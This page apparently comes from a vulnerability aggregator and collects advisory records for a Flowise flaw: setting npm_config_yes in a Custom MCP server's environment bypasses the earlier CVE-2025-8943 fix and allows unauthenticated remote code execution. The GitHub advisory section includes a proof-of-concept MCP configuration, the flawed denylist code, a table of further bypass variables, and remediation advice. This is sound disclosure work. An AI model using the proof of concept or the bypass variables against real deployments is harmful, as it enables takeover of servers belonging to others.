Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the mitigation for CVE-2025-8943 blocked -y and --yes flags on npx, but packages/components/nodes/tools/MCP/core.ts denied only PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS by exact environment-variable name. Because npm reads configuration from npm_config_* variables, setting npm_config_yes=true reproduced --yes behavior without using a blocked flag, causing npx to auto-install and execute the named package when a Custom MCP server launched. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 16:54:36 UTC

Source modified

4 Aug 2026 17:20:39 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the mitigation for CVE-2025-8943 blocked -y and --yes flags on npx, but packages/components/nodes/tools/MCP/core.ts denied only PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS by exact environment-variable name. Because npm reads configuration from npm_config_* variables, setting npm_config_yes=true reproduced --yes behavior without using a blocked flag, causing npx to auto-install and execute the named package when a Custom MCP server launched. This issue is fixed in version 3.1.3.

Source published

Aug 4, 2026, 4:54:36 PM (timezone not stated)

Source modified

Aug 4, 2026, 5:20:39 PM (timezone not stated)

Observed here

7 Nov 2026 14:21:39 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the mitigation for CVE-2025-8943 blocked -y and --yes flags on npx, but packages/components/nodes/tools/MCP/core.ts denied only PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS by exact environment-variable name. Because npm reads configuration from npm_config_* variables, setting npm_config_yes=true reproduced --yes behavior without using a blocked flag, causing npx to auto-install and execute the named package when a Custom MCP server launched. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 17:17:01 UTC

Source modified

24 Oct 2026 16:10:00 UTC

Observed here

25 Oct 2026 15:18:51 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

## Summary The mitigation shipped for CVE-2025-8943 blocks the `-y` and `--yes` flags on `npx` to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and `npm` reads its configuration directly from `npm_config_*` environment variables. Setting `npm_config_yes=true` reproduces the `--yes` behaviour the flag filter is meant to prevent, so `npx` auto-installs and executes the named package. The mitigation is fully bypassed. This works with the MCP security check enabled (`CUSTOM_MCP_SECURITY_CHECK=true`). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution. ## Root cause The patch treats this as a flag-filtering problem, but the behaviour gated by `--yes` is also reachable through `npm`'s environment-based configuration. The same is true for the other permitted interpreters, `node` and `python3`. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist. ## Affected version Flowise 3.1.1, current as of 2026-03-29. ## Details Validation happens in `packages/components/nodes/tools/MCP/core.ts`. Two functions run in sequence before any MCP server launches: `validateCommandFlags` and `validateEnvironmentVariables`. `validateCommandFlags` is thorough. It blocks `-y` and `--yes` along with a comprehensive set of dangerous flags across `npx`, `node`, `python`, `python3`, and `docker`. That part of the patch is sound. The gap is in `validateEnvironmentVariables`: ```typescript export const validateEnvironmentVariables = (env: Record<string, any>): void => { const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS'] for (const [key, value] of Object.entries(env)) { if (dangerousEnvVars.includes(key)) { throw new Error(`Environment variable '${key}' modification is not allowed`) } if (typeof value === 'string' && value.includes('\0')) { throw new Error(`Environment variable '${key}' contains null byte`) } } } ``` The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. `npm_config_yes` is npm's documented mechanism for setting the `yes` config via the environment. Set to `true`, it causes `npx` to auto-install without prompting, which is exactly what the `-y` and `--yes` flag blocks are intended to prevent. ## Proof of concept The following MCP server configuration bypasses the patch with `CUSTOM_MCP_SECURITY_CHECK=true`: ```json { "mcpServers": { "bypass": { "command": "npx", "args": ["malicious-package"], "env": { "npm_config_yes": "true" } } } } ``` Execution path: 1. `validateCommandFlags` passes, because `args` contains no blocked flags. 2. `validateEnvironmentVariables` passes, because `npm_config_yes` is not in the four-item blocklist. 3. `npx` auto-installs and executes the named package with the privileges of the Flowise process. On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this. ## Additional bypass vectors (same root cause) The following variables are also absent from the blocklist and influence execution through the other permitted interpreters: | Variable | Command | Effect | |---|---|---| | `npm_config_prefix` | `npx` | Redirects package installation to attacker-controlled path | | `npm_config_userconfig` | `npx` | Loads attacker-controlled `.npmrc` configuration | | `NODE_PATH` | `node` | Loads modules from attacker-controlled path | | `PYTHONPATH` | `python3` | Loads modules from attacker-controlled path | | `PYTHONSTARTUP` | `python3` | Executes a file on interpreter startup (interactive sessions only) | ## Impact Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required. ## Remediation Strip the `env` object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables. Adding the known dangerous variables to the blocklist (`npm_config_yes`, `npm_config_prefix`, `npm_config_userconfig`, `NODE_PATH`, `PYTHONPATH`, `PYTHONSTARTUP`) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass. ## References - CVE-2025-8943 - CWE-184: Incomplete List of Disallowed Inputs

Source published

4 Aug 2026 17:09:48 UTC

Source modified

4 Aug 2026 17:26:01 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH